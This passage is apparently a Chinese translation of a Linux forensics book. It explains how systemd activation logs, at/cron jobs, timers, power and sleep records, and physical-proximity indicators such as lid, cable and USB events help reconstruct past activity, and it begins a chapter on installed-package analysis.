在实时系统中,单元可以是活动的或非活动的(即,已启动或已停止),其状态可以通过 systemctl status 命令进行检查。在取证镜像中,我们只能确定单元是否在启动时启用或禁用(显然,死机系统上没有任何活动)。当系统管理员显式启用服务时,会在 /etc/systemd/system/ 或 *.target.wants/ 目录下创建一个符号链接。检查这些目录中的所有符号链接将显示为每个目标启动的服务。

在前面代码块中的示例 sshd.service 单元文件中,我们可以通过观察在多用户目标的 *.wants/ 目录中创建的符号链接,来确定安全外壳守护进程是否已启用:

$ stat /etc/systemd/system/multi-user.target.wants/sshd.service
  File: /etc/systemd/system/multi-user.target.wants/sshd.service ->
  /usr/lib/systemd/system/sshd.service
  Size: 36         Blocks: 0          IO Block: 4096  symbolic link
Device: 802h/2050dInode: 135639164  Links: 1
Access: (0777/lrwxrwxrwx) Uid: (  0/  root)  Gid: (  0/  root)
Access: 2020-08-09 08:06:41.733942733 +0200
Modify: 2020-08-09 08:06:41.670613053 +0200
Change: 2020-08-09 08:06:41.670613053 +0200
 Birth: 2020-08-09 08:06:41.670613053 +0200

我们还可以从时间戳中看到符号链接何时创建,指示服务最后一次启用的时间。原始文件 /usr/lib/systemd/system/sshd.service 上的时间戳表明该服务文件最后一次被安装或升级的时间。

服务的启动和停止都会被记录。以下示例显示了安全外壳守护进程被停止并重新启动(重启)的过程:

Aug 09 09:05:15 pc1 systemd[1]: Stopping OpenSSH Daemon...
   Subject: A stop job for unit sshd.service has begun execution
...
   A stop job for unit sshd.service has begun execution.
Aug 09 09:05:15 pc1 systemd[1]: sshd.service: Succeeded.
   Subject: Unit succeeded
...
   The unit sshd.service has successfully entered the 'dead' state.
Aug 09 09:05:15 pc1 systemd[1]: Stopped OpenSSH Daemon.
   Subject: A stop job for unit sshd.service has finished
...
   A stop job for unit sshd.service has finished.
...
Aug 09 09:05:15 pc1 systemd[1]: Started OpenSSH Daemon.
   Subject: A start job for unit sshd.service has finished successfully
...
   A start job for unit sshd.service has finished successfully.
...
   The job identifier is 14262.
Aug 09 09:05:15 pc1 sshd[18405]: Server listening on 0.0.0.0 port 22.
Aug 09 09:05:15 pc1 sshd[18405]: Server listening on :: port 22.

systemd 日志不会记录启用或禁用服务的信息,除了一个简单的 systemd[1]: Reloading 消息。通过检查符号链接的文件时间戳,可以确定服务启用的时间。如果服务是通过 systemctl 启用的,那么时间戳应该与 systemd 重新加载日志条目相对应。

激活与按需服务

按需服务的概念非常简单,即背景进程或守护进程在真正需要时才会启动。服务和守护进程可以通过多种方式触发,包括 D-Bus、套接字、路径和设备激活。服务激活可以在系统上下文中使用,也可以针对单个用户。激活通常会被记录,并且可以在取证调查中进行检查。

套接字激活

套接字激活是基于传入的 FIFO、IPC 或网络连接尝试来启动服务。传统的 Unix 风格激活使用名为 inetd(或 xinetd 替代品)的守护进程来监听多个传入的 TCP 和 UDP 端口,并在尝试建立网络连接时启动相应的守护进程。今天,systemd 的 .socket 单元文件提供了相同的功能。在以下示例中,PipeWire^(13) 配置为在用户需要时通过套接字激活:

$ cat /usr/lib/systemd/user/pipewire.socket
[Unit]
Description=Multimedia System

[Socket]
...
ListenStream=%t/pipewire-0
...

这里选择了用户的运行时目录(%t)作为 pipewire-0 监听管道的位置。如果访问该管道,则会激活一个具有相同名称的服务:

$ cat /usr/lib/systemd/user/pipewire.service
[Unit]
Description=Multimedia Service
...
Requires=pipewire.socket

[Service]
Type=simple
ExecStart=/usr/bin/pipewire
...

ExecStart 选项随后会运行 pipewire 程序。注意,这里使用了两个单元文件,一个用于套接字激活,一个用于实际的服务。有关更多信息,请参阅 systemd.socket(5) 手册页,并查看 第八章 中的网络服务示例。

D-Bus 激活

D-Bus^(14) 是一个库和守护进程(dbus-daemon),用于促进进程之间的通信。D-Bus 守护进程可以作为系统范围的实例运行,或者作为用户登录会话的一部分运行。几个常见的目录与 D-Bus 配置相关联,可以在嫌疑磁盘镜像上检查:

/usr/share/dbus-1/ 包默认配置

/etc/dbus-1/ 系统管理员指定的配置

~/.local/share/dbus-1/ 用户指定的配置

这些目录(如果存在)可能包含系统和会话配置文件、XML 定义文件以及指定激活细节的服务文件。

dbus-daemon 管理 D-Bus 活动,根据请求激活服务,并将活动记录到 systemd 日志中。一旦请求了 D-Bus 服务,服务会直接或通过 systemd 被激活。更多信息请参见 dbus-daemon(1) 手册页。

D-Bus 激活的日志显示了几个在重建过去事件时有用的项目。在这个例子中,发出了一个 D-Bus 请求以激活 PolicyKit 服务:

   Aug 08 09:41:03 pc1  ➊ dbus-daemon[305]: [system] Activating via  ➋ systemd:
➌ service name='org.freedesktop.PolicyKit1' unit='polkit.service'
   requested by ':1.3' (uid=0 pid=310 comm="/usr/lib/systemd/systemd-logind  ➍ ")
   ...
   Aug 08 09:41:03 pc1 dbus-daemon[305]: [system] Successfully activated
   service 'org.freedesktop.PolicyKit1'

在这里,D-Bus 守护进程(显示其 PID) ➊ 生成日志并请求 systemd ➋ 启动 policykit 服务 ➌。激活请求的发起者也会被记录 ➍(此例中为 systemd-logind)。

支持 D-Bus 的服务也可能在一段时间不活动后自行关闭。在此示例中,GeoClue 服务由 D-Bus 激活,且服务在 60 秒不活动后自动终止:

Mar 21 19:42:41 pc1 dbus-daemon[347]: [system] Activating via systemd: service
name='org.freedesktop.GeoClue2' unit='geoclue.service' requested by ':1.137'
(uid=1000 pid=2163 comm="/usr/bin/gnome-shell ")
...
Mar 21 19:43:41 pc1 geoclue[2242]: Service not used for 60 seconds. Shutting down..
Mar 21 19:43:41 pc1 systemd[1]: geoclue.service: Succeeded.
基于路径的激活

基于路径的激活使用了内核特性 inotify,允许监控文件和目录。.path 单元文件定义了哪些文件需要监控(请参见 systemd.path(5) 手册页)。当路径单元文件的条件满足时,与其同名的 .service 文件会被激活。在此例中,一个 canary.txt 文件被监控以检测可能的勒索病毒。这里显示了 canary 文件、路径单元和服务单元:

$ cat /home/sam/canary.txt
If this file is encrypted by Ransomware, I will know!

$ cat /home/sam/.config/systemd/user/canary.path
[Unit]
Description=Ransomware Canary File Monitoring

[Path]
PathModified=/home/sam/canary.txt

$ cat /home/sam/.config/systemd/user/canary.service
[Unit]
Description=Ransomware Canary File Service

[Service]
Type=simple
ExecStart=logger "The canary.txt file changed!"

两个单元文件,canary.pathcanary.service,位于用户的 ~/.config/systemd/user/ 目录中,定义了路径激活的服务。如果文件被修改,服务将启动并执行命令,日志中会显示这一过程:

 Dec 13 10:14:39 pc1 systemd[13161]: Started Ransomware Canary File Service.
Dec 13 10:14:39 pc1 sam[415374]: The canary.txt file changed!
Dec 13 10:14:39 pc1 systemd[13161]: canary.service: Succeeded.

这里的日志显示了 canary 服务的启动、执行(记录器命令输出)和完成(Succeeded)。用户必须登录才能使自己的单元文件处于活动状态。

设备激活

设备激活使用了 udev 动态设备管理系统(systemd-udevd 守护进程)。内核观察到的新设备可以被配置为激活服务单元文件。系统 d.device(5) 手册页中描述的 .device 单元文件是在运行的内核上动态创建的,无法在事后进行法医检查时获得。然而,我们仍然可以检查在 udev 规则文件和日志中配置的 systemd 设备激活。例如,一个规则文件 (60-gpsd.rules) 定义了当特定 GPS 设备(pl2303)插入时运行的 systemd 服务:

$ cat /usr/lib/udev/rules.d/60-gpsd.rules
...
ATTRS{idVendor}=="067b", ATTRS{idProduct}=="2303", SYMLINK+="gps%n",
TAG+="systemd" ➊, ENV{SYSTEMD_WANTS}="gpsdctl@%k.service" ➋ 
...
$ cat /usr/lib/systemd/system/gpsdctl@.service ➌ 
[Unit]
Description=Manage %I for GPS daemon
...
[Service]
Type=oneshot
...
RemainAfterExit=yes
ExecStart=/bin/sh -c "[ \"$USBAUTO\" = true ] && /usr/sbin/gpsdctl add /dev/%I || :"
ExecStop=/bin/sh -c "[ \"$USBAUTO\" = true ] && /usr/sbin/gpsdctl remove /dev/%I || :"
...

在这个例子中,udev 规则被标记为 systemd ➊,SYSTEMD_WANTS ➋ 环境变量指定了 gpsdctl@.service 模板,其中 %k 代表设备的内核名称(它将变为 ttyUSB0)。服务模板文件 ➌ 描述了如何运行程序。日志显示了设备的插入和随后的激活:

Dec 13 11:10:55 pc1 kernel: pl2303 1-1.2:1.0: pl2303 converter detected
Dec 13 11:10:55 pc1 kernel: usb 1-1.2: pl2303 converter now attached to ttyUSB0
Dec 13 11:10:55 pc1 systemd[1]: Created slice system-gpsdctl.slice.
Dec 13 11:10:55 pc1 systemd[1]: Starting Manage ttyUSB0 for GPS daemon...
Dec 13 11:10:55 pc1 gpsdctl[22671]: gpsd_control(action=add, arg=/dev/ttyUSB0)
Dec 13 11:10:55 pc1 gpsdctl[22671]: reached a running gpsd
Dec 13 11:10:55 pc1 systemd[1]: Started Manage ttyUSB0 for GPS daemon.

内核将设备检测为 ttyUSB0,系统 d 单元被激活并使用设备名称运行 gpsdctl 命令。systemd.device(5)、udev(7) 和 systemd-udevd(8) 手册页提供了更多信息。

在取证检查中,这些激活日志可能有助于帮助重建过去的设备活动。此外,调查人员应分析激活前后立即的日志,看看是否能发现与之相关或可疑的内容。

计划命令和定时器

每个现代操作系统都允许将程序安排在未来运行,可以是一次性执行,也可以是重复执行。在 Linux 系统中,任务调度通过传统的 Unix 风格的 atcron 任务,或通过 systemd 定时器来完成。从取证的角度来看,我们需要回答几个问题:

  • 当前计划执行的任务有哪些?

  • 它们计划何时执行?

  • 该任务何时被创建?

  • 是谁创建了该任务?

  • 计划执行的是什么任务?

  • 过去运行过哪些任务?

/var/spool/ 目录中找到的日志条目和文件通常会揭示更多信息,帮助回答这些问题。

at

at 程序用于创建由 atd 守护进程在特定时间执行一次的任务。一个使用 at 任务的恶意活动示例是将在未来某个时刻执行逻辑炸弹。计划的 at 任务由位于 /var/spool/at//var/spool/cron/atjobs/ 目录中的文件标识;例如:

# ls -l /var/spool/cron/atjobs
total 8
-rwx------ 1 sam daemon 5832 Dec 11 06:32 a000080198df05
...

在这里,文件名编码了有关任务的信息。第一个字符表示队列状态(a 表示待处理,= 表示正在执行),接下来的五个字符是任务编号(十六进制),最后八个字符是自 1970 年 1 月 1 日以来的分钟数(也以十六进制表示)。

将最后八个字符转换为十进制并乘以 60,将揭示待处理执行的时间戳(以秒为单位)。

任务文件是由 at 命令创建的脚本,包含如何运行程序、将输出发送到哪里、环境变量和用户脚本的内容。以下是一个 at 任务 shell 脚本头部的示例:

# cat /var/spool/cron/atjobs/a000080198df05
#!/bin/sh
# atrun uid=1000 gid=1000
# mail sam 0
...

头部信息通过注释嵌入在 shell 脚本中。at 任务的所有者可以通过文件系统的所有权或 shell 脚本头部的 uid 注释来确定。任务的文件系统创建时间戳表示用户提交任务的时间。一个隐藏文件 .SEQ 包含系统上最后一个任务的编号。一个待处理目录(/var/spool/at/spool//var/spool/cron/atspool/)将运行任务的输出保存到电子邮件中,并在任务完成后发送给任务所有者。调查人员可以检查电子邮件日志和邮箱中的 at 任务输出电子邮件(例如,Subject: Output from your job 27)。这些电子邮件的时间戳将指示任务何时完成。一旦 at 任务完成,待处理文件将被删除。at 任务的执行和完成可能会出现在日志中:

Dec 11 07:06:00 pc1 atd[5512]: pam_unix(atd:session): session opened for user sam
by (uid=1)
...
Dec 11 07:12:00 pc1 atd[5512]: pam_unix(atd:session): session closed for user sam

at 作业的提交不会被记录,但可以在用户的 shell 历史记录中找到。可以搜索 shell 历史记录,查看是否运行了 at 命令。

cron

cron 系统通常在 /etc/crontab 文件中进行配置。文件格式由每个计划任务的一行组成。每行以指定分钟、小时、日期、月份和星期几的字段开始。如果某个字段包含星号(*),则命令会在每次(每小时、每天等)运行时执行。最后两个字段指定运行任务的用户以及要执行的命令。以下是一个包含一些有用注释的 crontab 文件示例。

# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed

59 23 * * * root /root/script/backup.sh
...

在此示例中,每天午夜前一分钟,备份脚本作为 root 用户开始运行。

大多数 Linux 发行版都有一个 crontab,并且运行每小时、每天、每周和每月的脚本,这些脚本存储在不同的目录中:

$ ls -1d /etc/cron* 
/etc/cron.d/
/etc/cron.daily/
/etc/cron.hourly/
/etc/cron.monthly/
/etc/crontab
/etc/cron.weekly/

已安装的包可以将文件放置在这些目录中以执行周期性任务。单独的用户也可能在 /var/spool/cron/ 目录中拥有 crontab 文件。格式几乎与 /etc/crontab 相同,但没有用户名字段,因为文件名已经指示了用户的名称。

法医调查员可以检查 crontab 文件和目录,查找恶意计划活动的迹象(如外泄数据、删除文件等)。

Systemd 定时器

Systemd 定时器开始在现代 Linux 系统中取代 cron。定时器是 systemd 单元文件,指定何时以及如何激活相应的单元文件(具有相同的名称但不同的扩展名)。这也是上一节讨论的激活形式,但它是基于定时器的。定时器的扩展名为.timer,并且是普通的 systemd 单元,具有一个额外的 [Timer] 部分,如下例所示:

$ cat /usr/lib/systemd/system/logrotate.timer
[Unit]
Description=Daily rotation of log files
Documentation=man:logrotate(8) man:logrotate.conf(5)

[Timer]
OnCalendar=daily
AccuracySec=1h
Persistent=true

[Install]
WantedBy=timers.target

logrotate.timer 单元指定每天激活 logrotate.service 单元。logrotate.service 单元文件包含有关如何运行 logrotate 程序的信息。定时器执行信息以 Description= 字符串的形式记录在日志中,如下所示:

Jul 22 08:56:01 pc1 systemd[1]: Started Daily rotation of log files.

定时器通常位于与软件包或系统管理员安装的其他 systemd 单元文件相同的位置。用户也可以在自己的主目录中创建定时器(./config/systemd/user/.timer*),但在注销后,定时器将不会保持激活状态。^(15)有关更多信息,请参见 systemd.timer(5) 手册页。Systemd 提供了灵活的符号表示法,用于指定在 OnCalendar= 指令中使用的时间段。有关更多细节,请参见 systemd.time(7) 手册页。

电力和物理环境分析

Linux 内核直接与物理环境中的硬件进行交互。物理环境的变化可能会在日志中留下数字痕迹,这些痕迹对于取证调查人员来说可能很有意义。这些数字痕迹可能提供有关电力或温度的有用信息,或者表明接近计算机的人的物理位置。

电力和物理环境分析

大多数服务器安装配备了备份电源,通常使用不间断电源(UPS)设备。这些设备包含电池,能够在停电时提供电力连续性。它们通常通过串行或 USB 电缆连接到服务器,当电源故障时,服务器会负责采取行动(如清理关闭、通知等)。在 Linux 环境中,守护进程会监听来自 UPS 的警报。常见的 UPS 软件包包括 PowerPanel/Cyber-Power 及其 pwrstatd 守护进程、Network UPS Tools(NUT)及其 upsd 守护进程,以及 apcupsd 守护进程。

这个例子显示了一台服务器失去电源然后重新恢复电源:

Aug 09 14:45:06 pc1 apcupsd[1810]: Power failure.
Aug 09 14:45:12 pc1 apcupsd[1810]: Running on UPS batteries.
...
Aug 09 14:45:47 pc1 apcupsd[1810]: Mains returned. No longer on UPS batteries.
Aug 09 14:45:47 pc1 apcupsd[1810]: Power is back. UPS running on mains.

这些日志在企业计算环境中可能很有用,尤其是当调查意外故障或故意破坏时。

与笔记本电源相关的日志消息可能来自多个来源(或者根本没有),这取决于 Linux 发行版和配置。一个 ACPI 守护进程(acpid)可能正在运行并记录到 syslog,systemd 或窗口环境可能会对 ACPI 消息作出反应并采取相应的行动,也可能有其他守护进程被配置为响应 ACPI 更改。Linux 可能没有完全支持某些硬件实现的 ACPI 接口,可能会出现某些错误消息。例如,在这个日志中,笔记本检测到电源线拔掉时发生了变化,但没有识别出是什么:

Aug 09 15:51:09 pc1 kernel: acpi INT3400:00: Unsupported event [0x86]

这通常发生在存在 bug 或不受支持的 ACPI BIOS 时。

温度问题可能源于处于高温环境、通风受阻、风扇故障、用户的超频操作或其他因素。根据系统的安装和配置方式,日志中可能会留下温度读数的痕迹。

ACPI 接口可能提供一些温度信息,lm_sensors 软件包提供温度信息,其他温度程序可能是图形环境的插件。企业系统可能运行像 Icinga/Nagios 这样的监控软件来检查和报告温度。像 thermald 这样的守护进程也会记录温度信息。像 hddtemp 这样的守护进程读取硬盘上的自我监控分析与报告技术(SMART)数据来监控温度(并记录阈值)。

在某些情况下,内核会检测到温度变化。这个例子显示了系统在 CPU 高负载时作出的反应,并改变其速度:

Feb 02 15:10:12 pc1 kernel: mce: CPU2: Package temperature above threshold,
cpu clock throttled (total events = 1)
...
Feb 02 15:10:12 pc1 kernel: mce: CPU2: Core temperature/speed normal

达到温度阈值后的反应取决于已配置的软件,可能包括向系统管理员报告、日志记录、减慢设备速度、关闭设备或甚至关闭整个系统。根据调查的上下文,温度指示器可能具有法医兴趣。例如,可能通过关联来自意外进程的高 CPU 活动或机器所在物理环境的变化来进行调查。

睡眠、关机和重启证据

根据调查,了解计算机何时在线、离线、挂起或重启,对于构建法医时间线可能很重要。例如,知道计算机何时挂起可能与某人声称机器在线并且在工作的说法相冲突,或者服务器的非计划重启可能是恶意活动的结果。计算机的状态可以通过时间线分析推断出来,也可以通过日志分析确定。

ACPI 规范定义了计算机的多个睡眠状态(“S” 状态),Linux 内核实现了这些睡眠状态的变体(www.kernel.org/doc/html/latest/admin-guide/pm/sleep-states.html)。此处列出的每个状态通过各种方法提供逐渐增加的节能效果:

挂起到空闲(S0 空闲) 冻结用户空间,设备处于低功耗,CPU 空闲

待机(S1) 除了 S0 空闲,非启动 CPU 离线,低级系统功能挂起

挂起到内存(S3) 内存有电;其他硬件关闭或处于低功耗模式

休眠(S4 或 S5) 内存挂起到磁盘,系统关闭电源

ACPI 规范还将 S0 定义为正常操作,将 S5 定义为关闭电源。在 Linux 下,这些状态通过显式的用户请求、空闲超时或低电池阈值条件来改变。

当 systemd 管理挂起过程时,许多这些睡眠状态变化可以在日志中看到:

Dec 09 11:16:02 pc1 systemd[1]: Starting Suspend...
Dec 09 11:16:02 pc1 systemd-sleep[3469]: Suspending system...
...
Dec 09 11:17:14 pc1 systemd-sleep[3469]: System resumed.
Dec 09 11:17:14 pc1 systemd[1]: Finished Suspend.

在某些情况下,意识到变化的单个守护进程也可能记录关于进入睡眠或唤醒的消息。

休眠过程将所有内容挂起到磁盘并关闭系统(对这个休眠区域的分析将在第三章中描述),这一过程可以在日志中观察到:

Dec 09 11:26:17 pc1 systemd[1]: Starting Hibernate...
Dec 09 11:26:18 pc1 systemd-sleep[431447]: Suspending system...
...
Dec 09 11:29:08 pc1 kernel: PM: hibernation: Creating image:
Dec 09 11:29:08 pc1 kernel: PM: hibernation: Need to copy 1037587 pages
...
Dec 09 11:29:08 pc1 kernel: PM: Restoring platform NVS memory
Dec 09 11:29:07 pc1 systemd-sleep[431447]: System resumed.
Dec 09 11:29:08 pc1 systemd[1]: Finished Hibernate.

本示例展示了 systemd 如何开始休眠过程,然后将其交给内核完成将内存写入磁盘的任务。在恢复时,内核从磁盘读取内存并将其交还给 systemd 以完成唤醒。

Systemd 管理 Linux 系统的初始化和关闭,并将活动记录到日志中。由于停止或关机导致的停机时间取决于系统管理员,关机和启动时间可以通过文件系统时间线分析得出,但这些信息也应在各种日志中可用。

重启 Linux 系统会进行干净的关机,并立即重新启动系统。重启是由 systemd 启动的,并会在日志中显示:

Dec 09 08:22:48 pc1 systemd-logind[806]: System is rebooting.
Dec 09 08:22:50 pc1 systemd[1]: Finished Reboot.
Dec 09 08:22:50 pc1 systemd[1]: Shutting down.

重启后的停机时间仅限于完全关机和完全重启所需的时间。

停止 Linux 系统会执行干净的关机操作,然后停止内核,但不会重启或关闭电源。停止过程的启动可以在日志中看到:

Dec 09 12:32:27 pc1 systemd[1]: Starting Halt...
Dec 09 12:32:27 pc1 systemd[1]: Shutting down.

最终的内核日志会显示在控制台上(但不会出现在日志中,因为 systemd 日志记录已经停止)。

Linux 系统的关机过程与重启或停止相同,但在 Linux 关机完成后,硬件会被指示关闭电源。关机过程可以在日志中看到:

Dec 09 12:38:48 pc1 systemd[1]: Finished Power-Off.
Dec 09 12:38:48 pc1 systemd[1]: Shutting down.

重启、停止和关闭系统的过程类似。唯一的区别是内核执行停止后发生的事情。

日志会记录启动周期,你可以通过将日志文件复制到分析机器并使用journalctl命令加上--list-boots 标志来查看:

# journalctl --file system.journal --list-boots
...
-4 cf247b03cd98423aa9bbae8a76c77819 Tue 2020-12-08 22:42:58 CET-Wed 2020-12-09 08:22:50 CET
-3 9c54f2c047054312a0411fd6f27bbbea Wed 2020-12-09 09:10:39 CET-Wed 2020-12-09 12:29:56 CET
-2 956e2dc4d6e1469dba8ea7fa4e6046f9 Wed 2020-12-09 12:30:54 CET-Wed 2020-12-09 12:32:27 CET
-1 5571c913a76543fdb4123b1b026e8619 Wed 2020-12-09 12:33:36 CET-Wed 2020-12-09 12:38:48 CET
 0 a494edde3eba43309957be06f20485ef Wed 2020-12-09 12:39:30 CET-Wed 2020-12-09 13:01:32 CET

该命令会生成一个启动周期的列表,从开始到结束。其他日志,如lastlogwtmp,也会记录重启和关机。守护进程可能会记录关机信息,表明它们由于即将进行关机而终止。

人类接近指标

确定某人是否在计算机附近通常对调查很有帮助。尽管 Linux 具有灵活的远程访问功能,如安全外壳和远程桌面,调查人员仍然可以通过某些活动的发生时间推测某人是否曾坐在(或靠近)计算机旁边,或者与本地硬件进行某种交互。我称这些为人类接近指标

笔记本电脑盖

一个人类接近指标是与笔记本电脑盖的交互。如果盖子被打开或关闭,说明有人可能实际接触了机器进行操作。知道盖子打开与关闭的区别也很有趣,因为这可能表示某人在某个时刻有意开始工作或停止工作。

笔记本盖的活动会记录在 systemd 日志中。以下示例显示了笔记本盖被关闭然后再打开的过程:

Aug 09 13:35:54 pc1 systemd-logind[394]: Lid closed.
Aug 09 13:35:54 pc1 systemd-logind[394]: Suspending...
...
Aug 09 13:36:03 pc1 systemd-logind[394]: Lid opened.

通常,关闭笔记本电脑盖会触发屏幕锁定程序,打开盖子时需要进行身份验证。成功的身份验证和后续的用户活动(从时间线和其他指示符观察到)表明机器的主人当时就在附近。

电源线

笔记本电脑的电源电缆从调查角度来看也可能很有趣。如果笔记本电脑的电源电缆被物理拔出或插入,可能会在日志中留下痕迹。除非发生了电力中断,否则这表明某人曾靠近笔记本电脑。许多笔记本电脑系统使用upowerd守护进程来进行电源管理。这个守护进程会记录与电源相关的多个事件日志,包括电池充放电状态的历史、时间和功耗。

/var/lib/upower/ 目录包含通过 ACPI^(16) 从电池供电的外设和笔记本电池报告的电源历史数据。电池有四个历史文件(* 是一个标识电池的字符串):

history-charge-.dat* 记录充电百分比

history-rate-.dat* 记录能耗率(以瓦特为单位)

history-time-empty-.dat* 拔出时,记录电池放空所需的时间(以秒为单位)

history-time-full-.dat* 充电时,记录充满电所需的时间(以秒为单位)

日志中找到的三种充电状态可能对法医调查有意义:

充电中 电池正在充电;电缆已插入

放电中 电池正在放电;电缆已拔出

已充满电 电池已充满;电缆已连接

有关所有支持的充电状态的列表,请参见项目文档 (upower.freedesktop.org/docs/).

电池的充电和放电与电源电缆的插入和拔出状态相关。该状态的变化会被时间戳记录,并在此示例中显示:

$ cat /var/lib/upower/history-rate-5B10W13932-51-4642.dat
...
1616087523     7.466  discharging
1616087643     7.443  discharging
1616087660     7.515  charging
1616087660     7.443  charging
...
1616240940     3.049  charging
1616241060     2.804  charging
1616241085     3.364  fully-charged
1616259826     1.302  discharging
1616259947     7.046  discharging
...

这里的充电历史包含时间戳(Unix 纪元)、功耗和充电状态。在法医检查中,充电放电已充满电之间的状态过渡可能表明电源电缆何时被物理插入或拔出(或发生了电力中断)。这些状态过渡可能出现在一个或多个四个upower历史文件中。

以太网电缆

以太网电缆的连接状态从调查角度来看也可能很有趣。在服务器环境中,如果以太网电缆被物理插入或拔出,内核会注意到并记录该信息:

Dec 09 07:08:39 pc1 kernel: igb 0000:00:14.1 eth1: igb: eth1 NIC Link is Down
...
Dec 09 07:08:43 pc1 kernel: igb 0000:00:14.1 eth1: igb: eth1 NIC Link is Up
1000 Mbps Full Duplex, Flow Control: RX/TX

此活动可能包括未使用的以太网端口突然变为活动状态或配置的接口突然关闭。这些操作可能表明人类靠近(例如插拔电缆),但也可能表明其他基础设施问题,例如交换机故障、管理员禁用端口、电缆断开或机器本身停用端口(例如使用ip link set命令)。意外的以太网端口活动的潜在恶意原因可能包括干扰、创建数据外泄的旁路通道、绕过外围安全或进行其他未经授权的网络活动。

插入的外围设备和可移动介质

另一个显示人员物理接近度的指标是 USB 设备的插入或移除记录。第十一章讨论了如何检测附加的 USB 设备,但以下示例展示了一个物理连接(并随后移除)的 USB 闪存驱动器:

Aug 09 15:29:43 pc1 kernel: usb 1-1: New USB device found, idVendor=0951,
idProduct=1665, bcdDevice= 1.00
...
Aug 09 15:29:43 pc1 kernel: usb 1-1: Product: DataTraveler 2.0
Aug 09 15:29:43 pc1 kernel: usb 1-1: Manufacturer: Kingston
Aug 09 15:29:43 pc1 kernel: usb 1-1: SerialNumber: 08606E6D418ABDC087172926
...
Aug 09 15:53:16 pc1 kernel: usb 1-1: USB disconnect, device number 9

还可以通过检查总线和端口号来确定用于连接 USB 设备的物理插口(例如,用于确定活动发生在 PC 前面还是后面)。

其他接近度指示包括物理可移动介质(CD-ROM、磁带、SD 卡等)的插入或移除。根据介质和驱动器,这一操作可能会在日志中留下痕迹,表明某人在现场执行了该操作。

控制台登录和其他指示

从物理控制台(本地键盘、屏幕等)登录机器是最明显的接近度指示。如果登录会话绑定到一个 systemd “座席”(这与像 SSH 这样的远程访问不同),则表示是本地物理登录。last日志输出(在第十章中有描述)提供了本地和远程登录的历史记录。

本地物理控制台的登录将使用tty,而远程 SSH 会话将使用伪终端(pts)。以下示例来自last输出,显示了用户 Sam 的登录记录:

sam   pts/3    10.0.1.10    Fri Nov 20 15:13 - 20:08 (04:55)
sam   tty7     :0           Fri Nov 20 13:52 - 20:08 (06:16)

这里的tty7表示登录发生的本地物理设备(:0是 X11 服务器),而pts/3则表示远程登录(来自给定的 IP 地址)。

当物理键盘/视频/鼠标(KVM)设备连接到 PC 并通过远程方式访问时,无法确定物理接近度(除非 KVM 设备保留了自己的日志)。

其他接近度指示是本地连接键盘上的物理按键按下。^(17)这些通常不会被记录,但某些按键(如电源、亮度、功能键等)可能与操作系统执行的操作相关联。日志可能会根据按键或配置为执行操作的守护进程而存在。某些键盘操作还可能触发脚本或程序,这些脚本或程序在运行时会在日志中留下痕迹,如以下所示:

Dec 09 09:30:23 pc1 systemd-logind[812]: Power key pressed.

在这个例子中,按下了计算机的电源按钮,触发了挂起操作。物理按钮按压被记录下来,表明有人靠近计算机。

使用指纹识别器进行生物特征认证还可以帮助确定人的接近程度。如果某人在本地指纹识别器上扫描了指纹,这表明他们在特定时间点与系统有过物理接触。这里的优势是结合了接近度的判断和人员的生物特征识别。有关 Linux 指纹认证的更多信息,请参见第十章。

缺少人类接近性指示器并不意味着没有人在计算机旁边。此外,仅仅知道一个人处于计算机的物理接近位置并且执行了一些操作,并不能确定这个人。必须通过其他日志或文件系统中的时间戳来推断,甚至是远程服务器的日志。如果打开了笔记本电脑的盖子,并且随后输入了密码以登录或解锁物理系统,这些操作指向任何知道密码的人,而不一定是日志中观察到的用户(换句话说,密码可能已经被盗或被其他人知道)。

总结

在这一章中,你学习了 Linux 系统的启动、运行和关闭过程。你看到了 systemd 单元文件的示例,以及我们可以用来重建过去事件的更多日志示例。你还了解了人类接近性指示器和 Linux 电源管理的概念。本章提供了分析 Linux 机器系统层活动所需的背景知识。

第七章:已安装软件包的检查

图片

本章介绍了对 Linux 系统上已安装软件的分析,包括在创建 Linux 系统初期复制的软件以及在正常系统管理过程中安装、更新和删除的软件包。从数字取证的角度来看,我们关注的是软件包何时安装到系统、安装了什么、是谁安装的、以及为什么安装。这些问题同样适用于已被删除(卸载)的软件。Linux 系统和包管理器有包数据库和日志文件,这些文件带有时间戳,帮助回答这些问题。

在 Linux 的早期,没有安装图形用户界面(GUI)或包管理系统。人们通过直接从开发者(通常通过 FTP)下载源文件,编译源文件成二进制文件,然后通过提供的安装脚本、make install 命令,或仅仅是简单的文件复制来安装软件。获取和安装软件依赖项是在阅读文档(README 文件等)中列出的要求后手动完成的。最初的安装过程也类似于这种手动操作。分区和文件系统是手动创建的,系统目录是手动建立的,内核被复制到适当的位置,并安装了引导加载程序。今天,你仍然可以通过 Linux From Scratch (LFS)^(1) 发行版体验这种手动过程,这也是深入学习 Linux 的绝佳方式。

Linux 发行版的一些定义特征包括其安装过程和包管理系统。Linux 的这些领域在很大程度上缺乏统一标准,大多数发行版仍然有自己独特的工具、脚本、远程包仓库、本地包数据库和包文件格式。

Linux 社区在管理软件方面正在经历一些根本性的变化。一些发行版现在采用 滚动发布 模式,即系统会随着新软件的发布进行更新,而无需固定的版本号或发布日期。这种模式使用户能够拥有最新版本的软件,并享受最新功能和安全修复。Gentoo 和 Arch Linux 是首批采用滚动发布概念的主要发行版。复杂性和兼容性促使了另一个变化,即将软件打包成自包含的存档,包含所有运行所需的文件(包括通常共享的文件,如库文件)。这两种软件打包概念从取证的角度来看都很有趣,数字证据可以通过元数据和日志文件来找到。

大多数发行版使用传统的软件开发生命周期,其中有明确的发布日期、名称和版本号。版本号在分析被攻击的系统和入侵时尤其重要。特定软件版本中的已知漏洞可能与恶意活动和利用相关联。这种漏洞识别也适用于滚动发布的发行版,因为它们安装的是来自特定日期的已发布版本的单个软件包或 Git 克隆的软件包。

系统识别

当一台 Linux PC、笔记本电脑或获取的镜像文件到达你的取证实验室进行分析时,首要任务之一是确定安装了哪个 Linux 发行版。了解这些有助于使调查聚焦于更具体的发行版分析。其他要查找的证据包括可以用于关联和核实来自多个来源的证据的唯一标识符。例如,在安装过程中生成的随机唯一标识字符串可能用于在备份档案或其他机器的日志中准确识别这台机器。

发行版版本信息

